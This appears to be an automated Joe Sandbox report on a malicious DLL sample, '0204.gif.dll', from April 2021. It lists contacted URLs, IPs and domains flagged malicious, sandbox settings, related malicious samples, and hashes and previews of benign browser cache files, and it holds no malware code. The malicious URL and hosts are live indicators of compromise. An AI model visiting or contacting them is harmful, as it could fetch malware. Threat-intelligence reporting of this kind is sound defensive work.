http://under17.com/joomla/FoUDcBGCRMgOiC93_2Fr_/2FiFUTIFAwn6IXco/_2B0KkmSKvezPZ_/2Ftlw1zwyQYlkJ_2BV/	~DF0EA985D0D7E507FA.TMP.31.dr, {10347225-96F9-11EB-90E5-ECF4BB570DC9}.dat.31.dr	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	~DF0D8D159CA42C338F.TMP.20.dr, {F32E7673-96F8-11EB-90E5-ECF4BB570DC9}.dat.20.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/ukrainekonflikt-maas-warnt-russland-und-ukraine-	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/admirale-begehren-auf-gegen-das-verr	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/news/other/ressourcen-f	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/finanzen/top-stories/datenleck-bei-facebook-wachstum-z	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/news/other/auf-schmusekurs-mit-erdogan-eu-spitzen-reisen-in-die-t	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/news/other/neuseeland-und-australien-starten-quarant	msnpopularnow[1].json.22.dr	false		high
https://www.msn.com/de-ch/news/other/pentagon-usa-beobachten-russlands-aktivit	msnpopularnow[1].json.22.dr	false		high
http://feross.org	GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js.22.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.243.114.196	under17.com	Netherlands		31400	ACCELERATED-ITDE	true
185.186.244.95	urs-world.com	Netherlands		35415	WEBZILLANL	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	382560
Start date:	06.04.2021
Start time:	09:54:30
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0204.gif.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.winDLL@21/129@8/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 53.2% (good quality ratio 50.7%) Quality average: 79.8% Quality standard deviation: 28.3%
HCA Information:	Successful, ratio: 86% Number of executed functions: 70 Number of non-executed functions: 83
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, ielowutil.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 20.82.210.154, 93.184.220.29, 131.253.33.200, 13.107.22.200, 92.122.145.220, 184.30.20.56, 13.64.90.137, 40.88.32.150, 88.221.62.148, 20.190.160.73, 20.190.160.71, 20.190.160.2, 20.190.160.6, 20.190.160.69, 20.190.160.129, 20.190.160.8, 20.190.160.134, 20.190.160.67, 20.190.160.136, 20.190.160.4, 52.147.198.201, 20.190.160.132, 92.122.213.194, 92.122.213.247, 52.255.188.83, 205.185.216.42, 205.185.216.10, 152.199.19.161, 20.54.26.129 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, cs9.wac.phicdn.net, www.tm.lg.prod.aadmsa.akadns.net, fs-wildcard.microsoft.com.edgekey.net, www.tm.a.prd.aadg.trafficmanager.net, e11290.dspg.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, ocsp.digicert.com, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, watson.telemetry.microsoft.com, au-bg-shim.trafficmanager.net, www.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, ris-prod.trafficmanager.net, www.tm.a.prd.aadg.akadns.net, dual-a-0001.dc-msedge.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, cs9.wpc.v0cdn.net, store-images.s-microsoft.com-c.edgekey.net, bing.com, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, iecvlist.microsoft.com, e12564.dspb.akamaiedge.net, go.microsoft.com, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, www2.bing.com, skypedataprdcolwus17.cloudapp.net, ie9comview.vo.msecnd.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, login.msa.msidentity.com, skypedataprdcoleus16.cloudapp.net, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, www2-bing-com.dual-a-0001.a-msedge.net, go.microsoft.com.edgekey.net, ams2.current.a.prd.aadg.trafficmanager.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:55:29	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.243.114.196	gg.gif.dll	Get hash	malicious	Browse
	gg_1.gif.dll	Get hash	malicious	Browse
	gg_2.gif.dll	Get hash	malicious	Browse
	KcFVz0y2si.dll	Get hash	malicious	Browse
	bTjvWUTLid.dll	Get hash	malicious	Browse
	KAsJ2r4XYY.dll	Get hash	malicious	Browse
	swlsGbeQwT.dll	Get hash	malicious	Browse
	document-1048628209.xls	Get hash	malicious	Browse
	document-1771131239.xls	Get hash	malicious	Browse
	document-1370071295.xls	Get hash	malicious	Browse
	document-69564892.xls	Get hash	malicious	Browse
	document-1320073816.xls	Get hash	malicious	Browse
	document-184653858.xls	Get hash	malicious	Browse
	document-1729033050.xls	Get hash	malicious	Browse
	document-540475316.xls	Get hash	malicious	Browse
	document-1456634656.xls	Get hash	malicious	Browse
	document-1376447212.xls	Get hash	malicious	Browse
	document-1813856412.xls	Get hash	malicious	Browse
	document-1776123548.xls	Get hash	malicious	Browse
	document-684762271.xls	Get hash	malicious	Browse
185.186.244.95	document-1048628209.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1771131239.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-69564892.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1813856412.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1776123548.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-647734423.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1579869720.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-806281169.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-839860086.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1061603179.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-909428158.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1822768538.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1952275091.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-583955381.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1312908141.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1612462533.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1669060840.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-203135823.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1042699213.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-980795635.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
urs-world.com	gg.gif.dll	Get hash	malicious	Browse	185.186.244.95
	gg_1.gif.dll	Get hash	malicious	Browse	185.186.244.95
	gg_2.gif.dll	Get hash	malicious	Browse	185.186.244.95
	bTjvWUTLid.dll	Get hash	malicious	Browse	185.186.244.95
	KAsJ2r4XYY.dll	Get hash	malicious	Browse	185.186.244.95
	swlsGbeQwT.dll	Get hash	malicious	Browse	185.186.244.95
	document-1048628209.xls	Get hash	malicious	Browse	185.186.244.95
	document-1771131239.xls	Get hash	malicious	Browse	185.186.244.95
	document-69564892.xls	Get hash	malicious	Browse	185.186.244.95
	document-1729033050.xls	Get hash	malicious	Browse	185.186.244.95
	document-1813856412.xls	Get hash	malicious	Browse	185.186.244.95
	document-1776123548.xls	Get hash	malicious	Browse	185.186.244.95
	document-647734423.xls	Get hash	malicious	Browse	185.186.244.95
	document-1579869720.xls	Get hash	malicious	Browse	185.186.244.95
	document-895003104.xls	Get hash	malicious	Browse	185.186.244.95
	document-779106205.xls	Get hash	malicious	Browse	185.186.244.95
	document-806281169.xls	Get hash	malicious	Browse	185.186.244.95
	document-839860086.xls	Get hash	malicious	Browse	185.186.244.95
	document-1061603179.xls	Get hash	malicious	Browse	185.186.244.95
	document-909428158.xls	Get hash	malicious	Browse	185.186.244.95
under17.com	gg.gif.dll	Get hash	malicious	Browse	185.243.114.196
	gg_1.gif.dll	Get hash	malicious	Browse	185.243.114.196
	gg_2.gif.dll	Get hash	malicious	Browse	185.243.114.196
	KcFVz0y2si.dll	Get hash	malicious	Browse	185.243.114.196
	bTjvWUTLid.dll	Get hash	malicious	Browse	185.243.114.196
	KAsJ2r4XYY.dll	Get hash	malicious	Browse	185.243.114.196
	swlsGbeQwT.dll	Get hash	malicious	Browse	185.243.114.196
	document-1048628209.xls	Get hash	malicious	Browse	185.243.114.196
	document-1771131239.xls	Get hash	malicious	Browse	185.243.114.196
	document-1370071295.xls	Get hash	malicious	Browse	185.243.114.196
	document-69564892.xls	Get hash	malicious	Browse	185.243.114.196
	document-1320073816.xls	Get hash	malicious	Browse	185.243.114.196
	document-184653858.xls	Get hash	malicious	Browse	185.243.114.196
	document-1729033050.xls	Get hash	malicious	Browse	185.243.114.196
	document-540475316.xls	Get hash	malicious	Browse	185.243.114.196
	document-1456634656.xls	Get hash	malicious	Browse	185.243.114.196
	document-1376447212.xls	Get hash	malicious	Browse	185.243.114.196
	document-1813856412.xls	Get hash	malicious	Browse	185.243.114.196
	document-1776123548.xls	Get hash	malicious	Browse	185.243.114.196
	document-684762271.xls	Get hash	malicious	Browse	185.243.114.196

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ACCELERATED-ITDE	gg.gif.dll	Get hash	malicious	Browse	185.243.114.196
	gg_1.gif.dll	Get hash	malicious	Browse	185.243.114.196
	gg_2.gif.dll	Get hash	malicious	Browse	185.243.114.196
	KcFVz0y2si.dll	Get hash	malicious	Browse	185.243.114.196
	bTjvWUTLid.dll	Get hash	malicious	Browse	185.243.114.196
	BnJvVt951o.exe	Get hash	malicious	Browse	152.89.236.214
	BnJvVt951o.exe	Get hash	malicious	Browse	152.89.236.214
	SMtbg7yHyR.exe	Get hash	malicious	Browse	152.89.236.214
	KAsJ2r4XYY.dll	Get hash	malicious	Browse	185.243.114.196
	swlsGbeQwT.dll	Get hash	malicious	Browse	185.243.114.196
	document-1048628209.xls	Get hash	malicious	Browse	185.243.114.196
	document-1771131239.xls	Get hash	malicious	Browse	185.243.114.196
	document-1370071295.xls	Get hash	malicious	Browse	185.243.114.196
	document-69564892.xls	Get hash	malicious	Browse	185.243.114.196
	document-1320073816.xls	Get hash	malicious	Browse	185.243.114.196
	document-184653858.xls	Get hash	malicious	Browse	185.243.114.196
	document-1729033050.xls	Get hash	malicious	Browse	185.243.114.196
	document-540475316.xls	Get hash	malicious	Browse	185.243.114.196
	document-1456634656.xls	Get hash	malicious	Browse	185.243.114.196
	document-1376447212.xls	Get hash	malicious	Browse	185.243.114.196
WEBZILLANL	gg_2.gif.dll	Get hash	malicious	Browse	185.186.244.95
	bTjvWUTLid.dll	Get hash	malicious	Browse	185.186.244.95
	document-1048628209.xls	Get hash	malicious	Browse	185.186.244.95
	document-1771131239.xls	Get hash	malicious	Browse	185.186.244.95
	document-69564892.xls	Get hash	malicious	Browse	185.186.244.95
	document-1813856412.xls	Get hash	malicious	Browse	185.186.244.95
	document-1776123548.xls	Get hash	malicious	Browse	185.186.244.95
	document-647734423.xls	Get hash	malicious	Browse	185.186.244.95
	document-1579869720.xls	Get hash	malicious	Browse	185.186.244.95
	document-806281169.xls	Get hash	malicious	Browse	185.186.244.95
	document-839860086.xls	Get hash	malicious	Browse	185.186.244.95
	document-1061603179.xls	Get hash	malicious	Browse	185.186.244.95
	document-909428158.xls	Get hash	malicious	Browse	185.186.244.95
	document-1822768538.xls	Get hash	malicious	Browse	185.186.244.95
	document-1952275091.xls	Get hash	malicious	Browse	185.186.244.95
	document-583955381.xls	Get hash	malicious	Browse	185.186.244.95
	document-1312908141.xls	Get hash	malicious	Browse	185.186.244.95
	document-1612462533.xls	Get hash	malicious	Browse	185.186.244.95
	document-1669060840.xls	Get hash	malicious	Browse	185.186.244.95
	document-203135823.xls	Get hash	malicious	Browse	185.186.244.95

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{10347223-96F9-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	2.0005975404985272
Encrypted:	false
SSDEEP:	96:rPZUZi2FW4tAbfgChKMYZqpZQhAlh3t6P43MSUP4OYPwk/YPwOIXLWwnsX/WWI66:rPZUZi2FW4twfgtM9M+jMI+I9sAAItog
MD5:	16D53F13E693A97086E6A89634768E63
SHA1:	A13E958E87E99526A5E5AD97F19F4C4C65008B56
SHA-256:	AAB7C8462B923532FEA54C43F9EF66A20FD9FF81538053A9C32618814624C99D
SHA-512:	E5144D74F16292CBD2994167335DE1A938C56C1AC2DA3C2599BD46A4C0D1571A2EEE9CB2C78DB5864E1947A530A01A4D74B6F658948872D51158692C9F39A66E
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{26554461-96F9-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	33448
Entropy (8bit):	1.9155600285145717
Encrypted:	false
SSDEEP:	96:rhZ2Zh2MWMt3bfqO1KMCNqdNQmEohEmeV3MlgeVI:rhZ2Zh2MWMtLfqlMn0Q2Mq
MD5:	2F043497C379FA7A3258D32957CC7C77
SHA1:	612D132A20CCE6A7430BCFE7E4C7E3C7AD20D84B
SHA-256:	AE3D6B93C65023823680E02DD7887775507B007AC1C7BCC97B6722597E0B7929
SHA-512:	D39582DB7A34E44E7EC64BE4FCF9BD042BABD089F52BC265D819A97D55414564A18233057459A767856CB689898BCE2190D5BAC1BFB90B5C76609B43135A5E50
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{F32E7671-96F8-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	1.9999824022145607
Encrypted:	false
SSDEEP:	192:r6ZhZz2HWOtvfVNMFFq/NMUMw8YuHq+ag:rmnK2uH8fq2BwWqS
MD5:	3FE173EC64A5361100EC72F239F5630B
SHA1:	278B7F40F68F29C07D84FF71E46EAD76646BCA36
SHA-256:	F07BF6887063FE6EAD397C43237296738650CC8F0572DE47E518D311A78A5644
SHA-512:	69283375381973387DAE331CA60808114C9B659F1DA7949830A0AD7CC74020848B408EC0143027E8F3A60226C5B4FE984A93D2DCBD8219242ED5FE0DC727C02C
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{10347225-96F9-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27380
Entropy (8bit):	1.8465284189029543
Encrypted:	false
SSDEEP:	192:ruZRQt6bkmjF2IWiMSWvPa7SgxvPa7SPPQA:r6mYgg8/TlvPanvPaoPD
MD5:	ABD8A0639358FA57F2E3C8A64CFD0F5D
SHA1:	C1C8CD86DEEB4BBC201817894CC63244BD0011BC
SHA-256:	80CABF00C6C9F67D38955BEB2735116CF9DAB939954B2C68C8BFDAE8BF97693B
SHA-512:	9E4446D035EA4DB8407DB3196FD6D073AA8CED31394D41C914A706F72B58D23927CA315A6963B444CFD3C223EF3E799E29C4E279A1158804D93A1803248FF078
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{10347227-96F9-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	modified
Size (bytes):	27368
Entropy (8bit):	1.8426399759069807
Encrypted:	false
SSDEEP:	192:r1ZSQY66kOjY24W+MCi6inOlx6inOsinFA:r7/jTIvvXJmx
MD5:	53316A43070A28F35289EBE979D2CEF0
SHA1:	2B6145423BD2B62318069D6C18B28ADE87F6975C
SHA-256:	29DADDE00E2684140CB8AA9A0E474843C5992A030501A89E4E5A2B1FD0A1972C
SHA-512:	FCCB3A2BA788096488057A82D2C2E15D5D1DB288E99330350DBD6F07F7B38E9911236A8E6A76AAB9B36515DCFFCD7340FF0E19514874DAC448D4F61A82258CA1
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{26554463-96F9-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	16984
Entropy (8bit):	1.571292948347498
Encrypted:	false
SSDEEP:	48:IwltGcprnmGwpaSG4pQKGrapbS8GQpB6GHHpcrTGUpG:rRZ+Qi68BSUjB2FA
MD5:	9BC70A5AF461833BAF3C3CAE219C7D52
SHA1:	BB7FBACACDD63C563D488708310E7C923CA3F6B1
SHA-256:	0B550D3E6CF3831EE04B46287704E4A0FC35063D150E0C433B893F3A0DD55AD9
SHA-512:	2AFABE7EAA545A10E27377FF337500C0BE48BC5DC5A60E12223A519E4B3DB507751D19819152DAC065A93C0D28CE2316DD200C3AA0AF377A676CF7C8FE48B3B4
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{26554465-96F9-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	16984
Entropy (8bit):	1.5709047515642043
Encrypted:	false
SSDEEP:	48:IwNGcprEGwpaxG4pQNGrapbSLGQpBaGHHpczTGUpG:rTZ8Qj6tBSljh2NA
MD5:	51F7AD841D5EFA9DEF3FFC7A50DF0DE4
SHA1:	51654B4FD92A68DC2029A4A227579BB2463F59F6
SHA-256:	8ED153DC565FEED2C220416B65CF57E2D62686BEECE698EA6C765E9BE9F1E75E
SHA-512:	F4560445138ABD54B58347AF5545CDE43DB52C193DD16E17E77E6D41951C1755102F122DFD2968452395748F85FA4EB4022EAE2246B8790D70072A729BAF95E8
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{F32E7673-96F8-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	43240
Entropy (8bit):	2.4940213704407586
Encrypted:	false
SSDEEP:	384:r1/9e8nHoi0990EmobffhKfh2DffhZnqX197w:Wh8h2rhB
MD5:	69BB00109B66B48A7AE6DCD2F87FEE83
SHA1:	19DCCB2204AD18862C6EAA2CB341500FABB8E680
SHA-256:	0346AB08C3EA3D91FF4734A50D5367E6E03F4434EEDFF2C3552398B75D5A9749
SHA-512:	5AACE59233F1DE467F3F4BAB387F1D6841FD093B87BE0A0040037901D602ABD813A86B79E23E5F8F27786A165F7440840F49AA09F0BF396AF67830648B449EF5
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{F32E7675-96F8-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	43660
Entropy (8bit):	2.538345949708729
Encrypted:	false
SSDEEP:	384:rP3JwXY/0JR6/z7luTfn8fnUAfnvp17jINB:y677luDnmnUSn770L
MD5:	A7AEC1EF23509E9C6AA1690502E76B91
SHA1:	7EBDEE5E7176FD7D481CB03A2369FF1B5679BF22
SHA-256:	7C1610769C0E2A8BB3297F146D304ED561917F9EA64A02536EE4A4A8503B74F5
SHA-512:	A4D2010E544EE10579E42622F028C5B27EB88D5638611B5CE14ACE2EA1E852AAA3594B45CB402DB3078799E08F4C3CA11374E9AE025962F19473E8A4C618AD7F
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\dikxvqf\imagestore.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	modified
Size (bytes):	10192
Entropy (8bit):	4.532955502222545
Encrypted:	false
SSDEEP:	96:0Ph+Qhato4xfDehrmrPh+Qhato4xfDehrm+:0Z+dn5DehKrZ+dn5DehK+
MD5:	BB522C8B17255B17E9094CF89BB841E2
SHA1:	039AB0E66E19AB3C122AD0C9974A28C67148388B
SHA-256:	41CCBE49461865327774763C45CD97B54A94BF3FB457423D89C3337A9FDB429E
SHA-512:	214E9AB26FA26D09BFAFFE45CE4B6A8E487CAE2F2141F10EC4079F610932B87344285C42E9FBA399553CA82744CAE6085E3BB3DEC081F55C764F7713C53C5599
Malicious:	false
Preview:	+.h.t.t.p.s.:././.w.w.w...b.i.n.g...c.o.m./.s.a./.s.i.m.g./.f.a.v.i.c.o.n.-.2.x...i.c.o........... .... .........(... ...@..... ...................................................................................................................................................................................................N...Sz..R...R...P...N..L..H..DG..........................................................................................R6..U...U...S...R...P...N..L..I..F..B...7...............................................................................S6..V...V...U...S...R...P...N..L..I..F..C...?..:z......................................................................O...W...V...V...U...S...R...P...N..L..I..E..C...?...;..{7..q2$..............................................................T..D..]...S)..p6..J...R...P...N..L..I..E..B..>..;..z7..p2..f,X.........................................................A..O#..N!..N!..N!..P$..q:...P...N..K..I..E..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\4L4QdyjTv0HYE2Ig2ol9eYoqxg8[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1101
Entropy (8bit):	4.829151166001716
Encrypted:	false
SSDEEP:	24:t0S8eLfl954T0u2y3EO1gRcDrIvQaDxijjfscC:vLfRWtPDuQKIjq
MD5:	91CD11CFCCA65CFACE96153268D71F63
SHA1:	E0BE107728D3BF41D8136220DA897D798A2AC60F
SHA-256:	8EE1E6D7A487C38412D7B375AC4A6BD7E47F70858055EEB7957226ADA05544BE
SHA-512:	4367CE147C7FA4590838F23C47819B8954858128336979E28BA116924B92660A7CBDC9A8292C45C5F26FF591F423F03DFADCB78A772DBE86AC5FBABF0B4E7711
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/4L4QdyjTv0HYE2Ig2ol9eYoqxg8.svg
Preview:	<svg focusable="false" width="24px" height="24px" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <rect fill-opacity="0.2" fill="#000" x="0" y="0" width="24" height="24" rx="2"></rect>.. <g transform="translate(4, 4)">.. <path d="M13.2916881,1.29304814 L7.99395739,6.59077883 L2.69622669,1.29304814 C2.30349711,0.913737214 1.67923378,0.919161894 1.29315522,1.30524045 C0.907076669,1.691319 0.90165199,2.31558234 1.28096291,2.70831192 L6.57869361,8.00604261 L1.28096291,13.3037733 C0.90165199,13.6965029 0.907076669,14.3207662 1.29315522,14.7068448 C1.67923378,15.0929233 2.30349711,15.098348 2.69622669,14.7190371 L7.99395739,9.42130639 L13.2916881,14.7190371 C13.6844177,15.098348 14.308681,15.0929233 14.6947596,14.7068448 C15.0808381,14.3207662 15.0862628,13.6965029 14.7069519,13.3037733 L9.40922117,8.00604261 L14.7069519,2.70831192 C15.0976827,2.31746305 15.0976827,1.683897 14.7069519,1.29304814 C14.316103,0.902317288 13

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\BJp5dDFvoQm12CHBfp4PC6aiyg4.gz[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	73202
Entropy (8bit):	5.307816444057117
Encrypted:	false
SSDEEP:	1536:kcGJTL/mKzAAFl7JlsG0GRe1cxnoWC1kuyOYkTs/Kun:LGJ4AFl7JlsG0GRCcxnoWC1kuyOYkT0
MD5:	C912DA2683E71660357A600EE34A7873
SHA1:	5DFD028307D4CD8A66492E807B848FEC177AEC3A
SHA-256:	525D57B5D38D8212993C66A33F4CD15EDBD0F260A5AFCF539D092047A908D6EE
SHA-512:	31E2A56C27CC037AD903292DFA518E86642C2A610E9923DD4F7A2FD1347167E042E957A85E98561CC9178318D121DEA3EF165F88EEC79915D0687939DC25BBC9
Malicious:	false
Preview:	.scopes{color:rgba(255,255,255,.8);display:inline-block;left:0;white-space:nowrap;list-style:none;line-height:39px}.scopes.sc_hide{display:none}.scopes .scope{font-size:.8125rem;cursor:pointer;vertical-align:middle;margin-right:36px;background-repeat:no-repeat;position:relative;display:inline-block}.scopes .scope:hover,.scopes .scope.focusin{color:#fff}.scopes .scope:hover .overflow_menu,.scopes .scope.focusin .overflow_menu{transform:none}.scopes .scope:focus-within .overflow_menu{color:#fff;transform:none}.scopes .scope a{color:inherit;cursor:pointer;text-decoration:none}.scopes .scope.dots{margin-bottom:8px;font-weight:bold}.scopes .scope.dots:before{display:inline-block;content:'. . .'}.scopes .scope.dots.hover_focus:focus{outline:none}.scopes .scope .overflow_menu{color:#666;cursor:pointer;transform:scale(0);position:absolute;background-color:#fff;border-radius:6px;padding:4px 0;box-shadow:0 4px 12px 1px rgba(0,0,0,.14);min-width:155px}.scopes .scope .overflow_menu .overflow_item{

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	374771
Entropy (8bit):	5.158592433297743
Encrypted:	false
SSDEEP:	6144:1irrzbB3LH7gaV6Z8LAfP0Rp6Izc04YFdNwRm2EjXi4SG7oIBYQmzeH:aHNfi4KwYQmzeH
MD5:	F279A46B56038C41BB3FC11D67D0FE46
SHA1:	B48121E695FD6483CAA7F48DE73FE9F121777109
SHA-256:	A9EA274B393E34591387AC0B4DE594BEE296386543DE34F4897281324DB0DCBB
SHA-512:	4C1754CF5E368D8CE86B135B789A4FF4BAAD1419F30A1EB3B65EAB62217C054D0066EA5FC22B5AA7643EA959854EBC2029B39CB7D1AEAAFB78B95A2A46430F84
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/GiGr-rA9TBhE2c3LJn7PvDweiOo.gz.js
